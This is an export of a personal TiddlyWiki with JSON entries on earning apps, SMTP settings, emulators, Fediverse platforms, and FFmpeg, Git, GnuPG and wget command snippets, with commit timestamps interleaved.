rebranding.\n\n!!!! ''[[PacketStream|https://packetstream.io/?psr=3BYD]]''\n\nI tried PacketStream for one or two days and saw it does a misery of traffic, not recommended.\n\n!!!! ''[[Peer2Profit|https://peer2profit.com/r/164287193361ec3c7d501a9/en]]''\n\nCurrently working ok. Has some issues on [[Vodafone]]'s mobile network, due to \"Vodafone Digital Privacy and Security\" thinking it is a malware and blocking the `api.peer2profit.global` API domain.\n\n* [[Peer2Profit-Docker|https://github.com/fazalfarhan01/Peer2Profit-Docker]] - //Containerized version of Peer2Profit//\n","tags":"","title":"Earning Resources","modified":"20230206222158713","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230130081424124","creator":"Octt","text":"\u003C\u003CMediaWiki Element_(software) en 2>>","tags":"Matrix.org App $:/i18n:en","title":"Element:en","modified":"20230206111552099","modifier":"Octt"},
{"created":"20221107225602829","text":"!!! ''Outlook''\n* ''Username'': Full Email Address (e.g. `example@outlook.com`)\n* ''Password'': Standard Account Password\n* ''Server'': `smtp-mail.outlook.com`\n* ''Ports'':\n** ''TLS'': `587`\n** ''No Encryption'': `25`\n* ''Daily Limits'': 250 Mails, or [verification needed] 100 different Recipients\n\n!!! ''Yahoo Mail''\n\n* ''Username'': Full Email Address (e.g. `example@yahoo.com`)\n* ''Password'': App Password; Must be set from Yahoo's account security settings\n* ''Server'': `smtp.mail.yahoo.com`\n* Ports: 465 (With SSL)\n** ''SSL'': `465`\n** ''TLS'': `587`\n* ''Daily Limits''\u003Csup>[verification needed]\u003C/sup>: 500 Mails, or 100 Connections","tags":"$:/i18n:en","title":"Email Settings","modified":"20230206111552101","modifier":"Octt"},
{"created":"20230116211647194","text":"\u003C\u003CMediaWiki Emulator en 1>>\n\n!! ''Resources''\n\n* https://old.reddit.com/r/iosgaming/comments/tcdpr4/list_of_browser_based_emulators/\n\n!!! ''Web Sites''\n* [[Emulation General Wiki|https://emulation.gametechwiki.com]]\n\n!!! ''Game Console Emulators''\n* https://github.com/EmulatorJS\n* https://github.com/44670/desmume-wasm\n* https://github.com/js-emulators/desmond\n* https://github.com/44670/44vba\n* https://github.com/skylersaleh/SkyEmu\n\n!!! ''Miscellaneous Emulators''\n* https://dos.zone/mobile/\n\n!!! ''Other''\n* [[Thumbnails for RetroArch|https://github.com/libretro-thumbnails/libretro-thumbnails]]\n* https://github.com/Abdess/retroarch_system\n* [[Emulator files|https://emulation.gametechwiki.com/index.php/Emulator_files]] (system BIOS and such)\n","tags":"$:/i18n:en","title":"Emulation:en","modified":"20230206111552106","modifier":"Octt"},
2022-09-22 20:46:37 +00:00
{"created":"20220922204615800","title":"English","icon":"$:/languages/en-GB/icon","modified":"20220922204615800"},
2023-02-06 11:43:53 +00:00
{"created":"20230113095118172","creator":"Octt","text":"''[[Eruda|https://eruda.liriliri.io]]'' is an open-source JavaScript applet for Web browsers, created to bring developer tools to those that lack them (like mobile ones). It provides the following features (from the project's README):\n\n* Console: Display JavaScript logs and run commands\n* Elements: Check the DOM's state\n* Network: Show requests status\n* Resources: Show localStorage and cookie information\n* Info: Show URL and user agent info\n* Snippets: Include snippets used most often\n* Sources: HTML/CSS/JS, source code viewer\n\n!!! ''More Resources''\n\n* Source Code and Documentation: [[github.com/liriliri/eruda|https://github.com/liriliri/eruda]]\n* \u003Ch3>➡️ \u003Ca href={{$:/ThirdParty/Eruda-Inject.bkjs}}>Inject Eruda into this page\u003C/a>\u003C/h3>","tags":"TODO App $:/i18n:en","title":"Eruda:en","modified":"20230206111552110","modifier":"Octt"},
{"created":"20230202103531778","creator":"Octt","text":"\u003C\u003CWikipediaFrame ESP8266 en>>","tags":"MCU $:/i18n:en","title":"ESP8266:en","modified":"20230206111552112","modifier":"Octt"},
{"created":"20230203215819913","creator":"Octt","text":"\u003C\u003CMediaWiki F-Droid en 2>>\n\n* https://f-droid.org/","tags":"Android App Repo Open $:/i18n:en","title":"F-Droid:en","modified":"20230206111552114","modifier":"Octt"},
{"created":"20230114124144464","text":"\u003C\u003CMediaWiki Fediverse en 1 Fediverse_logo_proposal.svg>>\n\n!! ''List of Platforms''\n\nExplore [[Fediverse Observer|https://hometown.fediverse.observer]], [[Fediverse.Party|https://fediverse.party]], or read below.\n\n!!! ''Media''\n\n* [[PeerTube|PeerTube:en]] - Video sharing\n* [[Pixelfed|Pixelfed:en]] - Image sharing\n\n!!! ''Microblogging''\n\n* [[GoToSocial|https://gotosocial.org]] - //Fast, fun, ActivityPub server, powered by Go//\n* [[Mastodon|Mastodon:en]] | [[Hometown|https://github.com/hometown-fork/hometown]] | [[glitch-soc|https://github.com/glitch-soc]]\n* [[Misskey|Misskey:en]] | [[Dolphin|https://github.com/syuilo/dolphin]]\n* [[Pleroma|https://pleroma.social]] | [[Akkoma|https://akkoma.social]] | [[Soapbox|https://soapbox.pub]]\n* [[Takahē|https://jointakahe.org]] - //An efficient ActivityPub Server, for small installs with multiple domains//\n\n!!! ''Other''\n\n* [[Epicyon|https://epicyon.net]] [[[Git|https://gitlab.com/bashrc2/epicyon]]] - //Designed for simplicity and accessibility, includes calendar, news and sharing economy features//\n* [[Friendica|Friendica:en]]\n* [[Lemmy|Lemmy:en]] [[[Git|https://github.com/ernestwisniewski/kbin]], [[Dev Instance|https://dev.karab.in]]] - //🐀 A link aggregator and forum for the fediverse//\n* [[/kbin|https://kbin.pub]] - //Fediverse of content//\n\n!!! ''Coming Soon''\n\n* [[Goldfish Social|https://github.com/Goldfish-Social/Goldfish]]","tags":"TODO $:/i18n:en","title":"Fediverse","modified":"20230206111552118","modifier":"Octt"},
{"created":"20221008141221923","text":"!! Flags\n\n* Specify an input file: `-i ${File}`\n* Framerate: `-r ${r}`, `-framerate ${r}` (//use both because one sometimes doesn't work//)\n\n\n!!! Filter Flags\n\n//These are specified by prefixing an argument://\n\n* Audio: `-filter:a` or `-af`\n* Video: `-filter:v` or `-vf`\n\n!!!! Audio Filters\n\n* Volume: `volume=`\n** `±{n}dB`: Adding or Subtracting to absolute value in dB\n** `{%/100}`: Target percentage divided by 100 (e.g: //150% -> 1.5//)\n\n* Detecting volume details: `volumedetect -f null /dev/null` (just prints to console)\n\n!!!! Video Filters\n\n* Scaling: `scale=${w}:${h}`\n* [[Cropping|https://video.stackexchange.com/questions/4563/how-can-i-crop-a-video-with-ffmpeg]]: `crop=${w}:${h}:${x}:${y}`\n\n\n!!! Audio/Video Flags\n\n//These are specified as `-flag:a` or `-flag:v`.//\n\n* Bitrate: `-b:{a|v} ${n}{k|m|...}`\n* Codec: `-c:{a|v} ${codec}`\n\n!!!! Audio Flags\n\n* Audio channels: `-ac ${n}`\n\n\n!! Codecs List\n\n!!! Special\n\n* `copy`: Copy data stream without re-encoding (if supported by container)\n\n!!! Audio Codecs\n\n* `libopus`\n\n!!! Video Codecs\n\n* `h263`, `h264`, `libx265`\n* `libvpx-vp8`, `libvpx-vp9`\n* `libaom-av1`\n\n\n!! Tips\n\n* [[Trim Video|https://shotstack.io/learn/use-ffmpeg-to-trim-video]]\n* [[Image+Audio -> Video|https://superuser.com/questions/1041816/combine-one-image-one-audio-file-to-make-one-video-using-ffmpeg]]","tags":"Snippets $:/i18n:en","title":"FFmpeg/Snippets","modified":"20230206111552123","modifier":"Octt"},
{"created":"20220923195125955","text":"''Free sharing'' is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.\n\nThe reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.\n\nPeople who believe in free sharing not only often choose to leave freedom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).\n\nThis last kind of behavior is not to be confused with [[computer piracy]], which is a term indicating either the unauthorized redistribution of digital content with the main scope of monetary gain, and not the spirit of sharing for bettering humanity, or in general the perpetration of any illegal activity through the use of computer systems or regarding those.","tags":"$:/i18n:en","title":"Free sharing","modified":"20230206111552127","modifier":"Octt"},
{"created":"20230202232445340","creator":"Octt","text":"\u003C\u003CMediaWiki FreeDOS en 3>>","tags":"$:/i18n:en","title":"FreeDOS:en","modified":"20230206111552129","modifier":"Octt"},
{"created":"20230113225224277","text":"* https://freshrss.org\n* https://github.com/FreshRSS\n* https://hub.docker.com/r/linuxserver/freshrss","tags":"TODO $:/i18n:en","title":"FreshRSS:en","modified":"20230206111552130","modifier":"Octt"},
{"created":"20230113105935789","text":"\u003C\u003CMediaWiki Friendica en 2>>","tags":"TODO Fediverse $:/i18n:en","title":"Friendica:en","modified":"20230206111552132","modifier":"Octt"},
{"created":"20221006205957260","text":"* [[[PICO-8] Advanced Micro Platformer - Starter Kit|https://www.lexaloffle.com/bbs/?tid=28793]]","tags":"Development Gaming $:/i18n:en","title":"GameDev Resources","modified":"20230206111552133","modifier":"Octt"},
{"created":"20230116202756249","text":"\u003C\u003CMediaWiki Video_game en 3>>\n","tags":"$:/i18n:en","title":"Gaming:en","modified":"20230206111552135","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230206194427467","creator":"Octt","text":"\u003C\u003CWikipediaFrame OpenAI#GPT en>>\n\n!!! ''Resources''\n\n* \u003C\u003CTwitterLink DYtweetshere/status/1617471632909676544 \"GPT is all you need for the backend\">> - [[[Paper|https://github.com/TheAppleTucker/backend-GPT]]]\n","tags":"AI LLM","title":"Generative Pre-trained Transformer","modified":"20230206195525971","modifier":"Octt"},
{"created":"20230202231537773","creator":"Octt","text":"\u003C\u003CMediaWiki Git en 2>>\n\n!!! Self-hostable servers\n* Git-SCM: https://git-scm.com/\n* GitLab: https://about.gitlab.com/install/\n* Gitea: https://gitea.io/\n* sr.ht: https://man.sr.ht/installation.md\n\n!!! Gratis SaaS servers\n* 🇺🇸 https://GitHub.com\n* 🇺🇸 https://GitLab.com\n* 🇪🇺 https://Gitea.it\n* 🇪🇺 https://Codeberg.org\n* 🇦🇺 https://BitBucket.org\n* https://NotABug.org\n","tags":"","title":"Git","modified":"20230206190346514","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20221018083042590","text":"!!! ''Commands (+ Flags/Tips)''\n\n* `clone ${URL}`: Clone (download) a repo to the computer storage\n** `--depth=${n}`: Explicitly specify how many commits to download (starting from latest)\n\n* `add ${Path}`: Update Git's internal list of tracked files. This should be issued (ideally for the root directory, `.`) before trying to commit after creating/deleting/moving/renaming files/folders.\n** A `.gitignore` file, containing a list of files or folder paths (one per line) can be created in a repo's root, to make the `add` command ignore those: they won't be tracked by Git, and thus won't be committed or pushed. Note: adding already tracked paths to `.gitignore` doesn't make it so they stop being tracked, they must be manually be deleted and then the `add` command issued again.\n\n* `config`\n** `credential.helper store`\n\n!!! ''Miscellaneous Flags''\n\n* `--global`: Apply a config command to the global user configuration (omitting applies to current directory if it is a Git repo)","tags":"Snippets $:/i18n:en","title":"Git/Snippets","modified":"20230206111552141","modifier":"Octt"},
2023-02-06 19:56:30 +00:00
{"created":"20230206190107127","creator":"Octt","text":"!!! ''Tools''\n\n* [[nightly.link|https://nightly.link]] - //Downloads the latest \"nightly\" build/artifact from a continuous testing workflow without logging in// - [[[Git|https://github.com/oprypin/nightly.link]]]","tags":"Git TODO","title":"GitHub","modified":"20230206190331716","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230130074305715","creator":"Octt","text":"\u003C\u003CMediaWiki GNOME en 2>>","tags":"$:/i18n:en","title":"GNOME:en","modified":"20230206111552143","modifier":"Octt"},
{"created":"20230130073302535","creator":"Octt","text":"\u003C\u003CMediaWiki GNU en 3>>","tags":"$:/i18n:en","title":"GNU:en","modified":"20230206111552145","modifier":"Octt"},
{"created":"20230130073428687","creator":"Octt","text":"\u003C\u003CMediaWiki GNU_Core_Utilities en 1>>","tags":"$:/i18n:en","title":"GNU/Coreutils:en","modified":"20230206111552147","modifier":"Octt"},
{"created":"20221105125144413","text":"!!! ''Commands (+ Flags/Tips)''\n* `--list-keys`: List installed keys.\n* `--import Public.pgp`: Import someone's public key.\n* `--gen-key`: Generate a new keypair, with default options.\n* `--full-generate-key`: Generate a new keypair, customizing all the options.\n* `--edit-key {FINGERPRINT}`: Edit the internal data of a key.\n* `--output Revoke.pgp --gen-revoke {FINGERPRINT}`: Generate and output the revoke certificate for a key.\n* `--output Public.pgp --export {USER@EMAIL}`: Export a public key file.\n* ⚠️ `--output Private.pgp --export-secret-key {USER@EMAIL}`: Export a private key file.\n* ⚠️ `--output BackupPrivate.pgp --export-secret-keys --export-options export-backup {USER@EMAIL}`: Export private key(s) in backup format.\n* `--import-options restore --import BackupPrivate.pgp`\n\n!!!! ''`--edit-key` Commands''\n* `list`: List identities of the keys.\n* `uid {n}`: Select an identity to operate on.\n* `notation`: Write new notations inside the key; Prepend a dash (`-`) when typing a notations to remove it from the key, if present; Type just `none` to delete all notations.\n* `save`: Write changes to the key and quit.\n\n!!!! ''`--export` Flags''\n* `--armor`: Explicitly export as ASCII-armored, aka in text format.\n\n!!! ''Configuration Options''\n\n//These are usually inserted one-per-line in `~/gpg.conf`.//\n\n* `keyserver {URL}`","tags":"Snippets $:/i18n:en","title":"GnuPG/Snippets","modified":"20230206111552149","modifier":"Octt"},
{"created":"20230113095521581","text":"\u003C\u003CMediaWiki Hacker_News en 2>>\n\n!! ''The Latest News''\n\n\u003C\u003CiFrameBypass \"https://news.ycombinator.com\">>\n","tags":"TODO $:/i18n:en","title":"Hacker News:en","modified":"20230206111552153","modifier":"Octt"},
{"created":"20220922204301052","text":"Interesting news I collect from the hacky tech Internet sphere (HN primarily, but not exclusively).\n\n* [[TOTP tokens on my wrist with the smartest dumb watch|https://blog.singleton.io/posts/2022-10-17-otp-on-wrist]]\n* [[Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots|https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data]]\n* [[Disposable Root Servers|https://blog.thc.org/disposable-root-servers]]\n* [[Neurons in a dish learn to play Pong — whats next?|https://www.nature.com/articles/d41586-022-03229-y]]\n* [[retrowin32, a win32 emulator|https://neugierig.org/software/blog/2022/10/retrowin32.html]]\n* [[Ray Tracing In Notepad.exe At 30 FPS|http://kylehalladay.com/blog/2020/05/20/Rendering-With-Notepad.html]]\n* [[You can't buy a Raspberry Pi right now|https://www.jeffgeerling.com/blog/2022/you-cant-buy-raspberry-pi-right-now]]\n* [[7 Cool HTML Elements Nobody Uses|https://tapajyoti-bose.medium.com/7-cool-html-elements-nobody-uses-436598d85668]]\n* [[Despite faster broadband every year, web pages don't load any faster|https://www.datafantic.com/how-much-time-do-we-waste-waiting-for-websites-to-load]] [//[[c|https://readhacker.news/c/5mBGU]]//]\n* [[Avoiding homework with code (and getting caught)|https://alistair.blog/mochip]] [//[[c|https://readhacker.news/c/5mBHL]]//]\n* [[Show HN: I made an open-source Bitly alternative|https://readhacker.news/c/5mzDH]]\n* [[If the Moon Were Only 1 Pixel (2014)|https://readhacker.news/c/5myKf]]","tags":"Reading Tech $:/i18n:en","title":"Hacking News","modified":"20230206111552156","modifier":"Octt"},
{"created":"20230202224901337","creator":"Octt","text":"\u003C\u003CWikipediaFrame HTML en>>","tags":"$:/i18n:en","title":"HTML:en","modified":"20230206111552159","modifier":"Octt"},
2023-02-05 15:20:07 +00:00
{"created":"20230205142456532","creator":"Octt","text":"","tags":"TODO Protocol Web","title":"HTTP","modified":"20230205142551190","modifier":"Octt"},
{"created":"20230205143543756","creator":"Octt","text":"","tags":"TODO Android","title":"Huawei P9 Lite Mini","modified":"20230205143617655","modifier":"Octt"},
{"created":"20230205143015066","creator":"Octt","text":"","tags":"TODO","title":"I2C","modified":"20230205143034166","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230117104437158","text":"\u003C\u003CMediaWiki ImageMagick en 1>>\n\n!! ''Resources''\n* https://stackoverflow.com/questions/49899547/imagemagik-convert-pdf-to-pdf-without-doing-anything#49900085\n* https://stackoverflow.com/questions/15384879/imagemagick-using-more-than-2gb-of-memory-to-convert-pdf-files\n","tags":"$:/i18n:en","title":"ImageMagick:en","modified":"20230206111552161","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230206222830085","creator":"Octt","text":"","tags":"TODO","title":"Intellinet","modified":"20230206222941865","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20220923132359163","text":"The [[Internet Archive|https://archive.org]] is a website serving as free archive of digital items, with the intent of cultural preservation.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/8/84/Internet_Archive_logo_and_wordmark.svg]]\n\nThe non-profit library is also known for its [[Wayback Machine|Wayback Machine:en]] service.","tags":"Archiving Internet $:/i18n:en","title":"Internet Archive:en","modified":"20230206111552163","modifier":"Octt"},
{"created":"20220927210105087","text":"Source: https://blog.archive.org/2012/04/26/downloading-in-bulk-using-wget\n\n!!! Prerequisites\n\n# Obtain [[Wget|https://www.gnu.org/software/wget]];\n\n# (Optional) For large collections, Install \"Copy Selected Links\" extension [[For Firefox|https://addons.mozilla.org/en-US/firefox/addon/copy-selected-links]];\n\n!!! Action\n\n# In a text file, Write a list of all item ids to be downloaded (the part after `/details/` in the URL);\n\n## Easy way to do this for collections: Select all links in the browser, Right-Click > Copy selected links, Paste in a text editor, Find all instances of `https://archive.org/details/`, replace with //nothing//, Save.\n\n# Use the following command:\n```sh\nwget -r -H -nc -np -nH --cut-dirs=1 -e robots=off -l1 -i \u003CPath-to-text-file> -B 'http://archive.org/download/'\n```\n\n!!!! Useful arguments\n\n* Whitelist or Blacklist mode for list of extensions (preceded by `.` (dot), separated by `,` (comma); Example: `.avif,.7z`)\n** `-A \u003CExtensions>`: Whitelist\n** `-R \u003CExtensions>`: Blacklist","tags":"Snippets $:/i18n:en","title":"Internet Archive/Download bulk items (Wget)","modified":"20230206111552166","modifier":"Octt"},
{"created":"20230203214625941","creator":"Octt","text":"\u003C\u003CMediaWiki Internet en 4>>","title":"Internet:en","modified":"20230206111552169","modifier":"Octt","tags":"$:/i18n:en"},
{"created":"20230114154735505","text":"","tags":"TODO $:/i18n:en","title":"Invidious:en","modified":"20230206111552171","modifier":"Octt"},
{"created":"20221107192628249","creator":"Octt","text":"''ISO 8601'' is a date/time format standard designed for international adoption, by featuring a logical, unambiguous notation.\n\nIt was first published in 1988, but got some revisions in following years.\n\nIts complete form is the following, but the standard allows for dashes (`-`), colons (`:`), and the final time zone indicator to be omitted:\n\n`YYYY-MM-DD`T`hh:mm:ss`+hh:mm","tags":"Standard $:/i18n:en","title":"ISO 8601:en","modified":"20230206111552172","modifier":"Octt"},
2022-09-23 05:33:29 +00:00
{"created":"20220923052724501","title":"Italiano","icon":"$:/languages/it-IT/icon","modified":"20220923052724501"},
2023-02-06 11:43:53 +00:00
{"created":"20221110145611678","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.","tags":"Development Internet $:/i18n:en","title":"JavaScript:en","modified":"20230206111552174","modifier":"Octt"},
{"created":"20220923152137538","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations.","tags":"Gaming $:/i18n:en","title":"johncena141:en","modified":"20230206111552176","modifier":"Octt"},
{"created":"20230202225750547","creator":"Octt","text":"\u003C\u003CWikipediaFrame JSON en >>","tags":"$:/i18n:en","title":"JSON:en","modified":"20230206111552177","modifier":"Octt"},
{"created":"20230130074356424","creator":"Octt","text":"\u003C\u003CMediaWiki KDE en 3>>","tags":"$:/i18n:en","title":"KDE:en","modified":"20230206111552179","modifier":"Octt"},
{"created":"20221104183123144","text":"''Keyoxide'' is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.\n\n* Website, docs, and official instance: https://keyoxide.org\n* Source code: https://codeberg.org/keyoxide","tags":"$:/i18n:en","title":"Keyoxide:en","modified":"20230206111552181","modifier":"Octt"},
{"created":"20230203224049687","creator":"Octt","text":"\u003C\u003CMediaWiki Knowledge_base en 2>>","tags":"$:/i18n:en","title":"Knowledge Base:en","modified":"20230206111552183","modifier":"Octt"},
{"created":"20230113102628101","text":"\u003C\u003CMediaWiki Lemmy_(software) en 1>>\n\n* Website: [[join-lemmy.org|https://join-lemmy.org]]\n* Git: [[github.com/LemmyNet/lemmy|https://github.com/LemmyNet]]\n* Developer's Instance: [[lemmy.ml|https://lemmy.ml]]","tags":"TODO Fediverse $:/i18n:en","title":"Lemmy:en","modified":"20230206111552185","modifier":"Octt"},
{"created":"20230116221513491","text":"","tags":"TODO $:/i18n:en","title":"Libretro:en","modified":"20230206111552187","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230202230215526","creator":"Octt","text":"\u003C\u003CMediaWiki LineageOS en 2>>\n\n* https://lineageos.org/","tags":"Android","title":"LineageOS","modified":"20230206205451676","modifier":"Octt"},
{"created":"20230111153758951","creator":"Octt","text":"\u003C\u003CMediaWiki Linux en 5>>","tags":"TODO $:/i18n:en UNIX","title":"Linux:en","modified":"20230206222432039","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230111114229130","creator":"Octt","text":"* ''2023-01-10'' \u003Cdiv>\n\n; \"This group is unavailable due to copyright infringement.\"\n: I commenti erano appena stati attivati sul canale Telegram Animali_Crostini, tramite un gruppo chiamato \"//This group is unavailable due to copyright infringement//\", per scherzare sui modi di fare in generale di Nintendo contro chi viola il copyright. Intanto su [[spacctorium]] si stava discutendo di argomenti che potrebbero essere visti come violazione dei copyright (non di Nintendo). Ad un certo punto, noto un commento di L. nel gruppo del canale di Animali_Crostini, e invio una reazione come risposta. A quel punto, L. riceve una notifica desktop con il pauroso nome del gruppo, e l'anteprima del mio messaggio; immediatamente fa un avviso raffazzonato su spacctorium (senza porsi domande su perché fosse ancora visibile col nome normale) e scappa via, per poi scrivermi in privato. Ha creduto per un momento qualcosa di assurdo: che da ora Telegram faccia analisi in tempo reale dei messaggi per individuare violazioni di copyright. Ho dovuto spiegargli io la situazione. ''TLDR'': È avvenuto del trolling pesantissimo, ma involontario.\n","tags":"$:/i18n:it TODO","title":"Lista incidenti","modified":"20230206111646496","modifier":"Octt"},
{"created":"20230130081007594","creator":"Octt","text":"\u003C\u003CMediaWiki LXQt en 2>>","tags":"$:/i18n:en","title":"LXQt:en","modified":"20230206111552192","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230206204533684","creator":"Octt","text":"\u003C\u003CMediaWiki Magisk_(software) en 2>>","tags":"Android","title":"Magisk","modified":"20230206204626586","modifier":"Octt"},
{"created":"20230130144734146","creator":"Octt","text":"\u003C\u003CWikipediaFrame Mario_Kart en >>","tags":"Retro Nintendo $:/i18n:en Game","title":"Mario Kart:en","modified":"20230206203924222","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230202225920722","creator":"Octt","text":"\u003C\u003CWikipediaFrame Markdown en>>","tags":"$:/i18n:en","title":"Markdown:en","modified":"20230206111552196","modifier":"Octt"},
{"created":"20230110220005274","text":"\u003C\u003CMediaWiki Mastodon_(social_network) en 3>>","tags":"Fediverse TODO $:/i18n:en","title":"Mastodon:en","modified":"20230206111552198","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230114154554721","creator":"Octt","text":"\u003C\u003CMediaWiki Matrix_(protocol) en 2>>\n\n* https://matrix.org/\n* https://github.com/matrix-org\n\n!!! ''Resources''\n\n* ''[[maubot|https://maubot.xyz/]]'' - //A plugin-based Matrix bot system// - [[[GitHub|https://github.com/maubot]]] [[[GitLab (CI)|https://mau.dev/maubot]]] [\u003C\u003CMatrixLink \"#maubot:maunium.net\">>] [[[Docs|https://docs.mau.fi/]]]\n\n!!!! ''Bridges''\n\n* All by ''mautrix'': https://github.com/mautrix - [[[Docs|https://docs.mau.fi/]]]\n* All by ''mx-puppet'': https://gitlab.com/mx-puppet\n","tags":"Internet TODO $:/i18n:en","title":"Matrix:en","modified":"20230206211012904","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20220923130111988","creator":"Octt","text":"[[MeBoy|http://arktos.se/meboy]] is a libre (GPLv2) [[Game Boy|Game Boy:en]] (and Game Boy color) emulator for the [[J2ME|J2ME:en]] platform.","tags":"Emulation Gaming Nintendo [[Game Boy]] Open $:/i18n:en","title":"MeBoy:en","modified":"20230206111552202","modifier":"Octt"},
{"created":"20230112112905496","text":"\u003C\u003CMediaWiki MediaWiki en 4>>\n\n!! ''Resources''\n\n!!! ''Development''\n\n* \u003C\u003CExtMediaWikiAnchor \"API:Get_the_contents_of_a_page\" mediawiki.org>>","tags":"TODO $:/i18n:en","title":"MediaWiki:en","modified":"20230206111552204","modifier":"Octt"},
{"created":"20220923104738517","text":"[[melonDS|https://melonds.kuribo64.net]] is (sort of) a libre [[Nintendo DS|Nintendo DS:en]] emulator.\n\n[img[https://raw.githubusercontent.com/melonDS-emu/melonDS/master/res/icon/melon_128x128.png]]\n\nOver the years of development, the emulator had time to become a mature melon.\n\nToday, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC.","tags":"Emulation Nintendo NDS Gaming $:/i18n:en","title":"melonDS:en","modified":"20230206111552207","modifier":"Octt"},
{"created":"20230112215325845","text":"\u003C\u003CMediaWiki Microsoft en 1>>","tags":"TODO $:/i18n:en","title":"Microsoft:en","modified":"20230206111552209","modifier":"Octt"},
{"created":"20230130081056391","creator":"Octt","text":"\u003C\u003CMediaWiki Midnight_Commander en 2>>","tags":"$:/i18n:en","title":"Midnight Commander:en","modified":"20230206111552211","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230113110556145","creator":"Octt","text":"\u003C\u003CMediaWiki Miitomo en 2>>","tags":"TODO $:/i18n:en Nintendo","title":"Miitomo:en","modified":"20230206211339279","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20230110220407274","text":"\u003C\u003CMediaWiki Miiverse en 3>>","tags":"Internet Nintendo TODO $:/i18n:en","title":"Miiverse:en","modified":"20230206111552214","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230130075428259","creator":"Octt","text":"\u003C\u003CWikipediaFrame Minecraft en>>","tags":"$:/i18n:en Game","title":"Minecraft:en","modified":"20230206211403478","modifier":"Octt"},
{"created":"20230111223018169","creator":"Octt","text":"\u003C\u003CMediaWiki Minesweeper_(video_game) en 2>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://vuesweeper.netlify.app\">>","tags":"TODO Puzzle $:/i18n:en Game","title":"Minesweeper","modified":"20230206203924223","modifier":"Octt"},
{"created":"20230129163138871","creator":"Octt","text":"\u003C\u003CMediaWiki \"Mirror's_Edge\" en 2>>","tags":"TODO $:/i18n:en Game","title":"Mirror's Edge:en","modified":"20230206211408086","modifier":"Octt"},
2023-02-06 11:43:53 +00:00
{"created":"20221202225134930","text":"[[Misskey|https://misskey-hub.net/en]] is an open, semi-decentralized social media platform. Decentralization is founded on the [[ActivityPub|ActivityPub:en]] protocol.\n\n[img[https://raw.githubusercontent.com/misskey-dev/misskey/develop/assets/title_float.svg]]","tags":"Fediverse $:/i18n:en","title":"Misskey:en","modified":"20230206111552223","modifier":"Octt"},
2023-01-30 08:25:13 +00:00
{"created":"20230130081721859","creator":"Octt","text":"","tags":"TODO","title":"Miyoo","modified":"20230130081735692","modifier":"Octt"},
2023-02-06 22:43:30 +00:00
{"created":"20230206114218720","creator":"Octt","text":"List of some mobile games to keep in mind.\n\n* Angry Birds\n* Jetpack Joyride\n* krassesSpiel\n* Subway Surfers\n* Temple Run\n* Zombie Tsunami","tags":"Gaming","title":"Mobile Games","modified":"20230206211419055","modifier":"Octt"},
2022-09-25 15:48:50 +00:00
{"created":"20220921110925268","text":"\u003Ctable style=\"Width:100%;\">\n\u003Ctr style=\"Position:Sticky;\">\n\u003Cth>Album\u003C/th>\n\u003Cth>Got Any?\u003C/th>\n\u003Cth>Got Verified Lossless?\u003C/th>\n\u003Cth>Uploaded on Archive.org?\u003C/th>\n\u003Cth>Notes\u003C/th>\n\u003C/tr>\n\u003C/table>\n\n\u003C!--\n\u003C$list filter=\"[tag[Archiving]]+[tag[Music]]-[[Music Archiving Status]]-[has[draft.of]]\">\n\u003Cp>\n\u003Cdetails>\n\u003Csummary>\u003C\u003C#lself>> \u003C$transclude field=\"title\"/>\u003C/summary>\n\u003C$transclude/>\n\u003C/details>\n\u003C/p>\n\u003C/$list>\n--->\n\n\u003C\u003Cltabs \"[tag[Archiving]]+[tag[Music]]-[[Music Archiving Status]]-[has[draft.of]]\">>\n\n!! Future / To do\n\n''Albums'': FUGENE\n\n''Artists'': Desired, Future Girlfriend, In Love With A Ghost, Macross 82-99, nyankobrq, SoLush, YUC'e, Yunomi","tags":"Archiving Music","title":"Music Archiving Status","modified":"20220925154843964"},
2022-09-23 07:12:10 +00:00
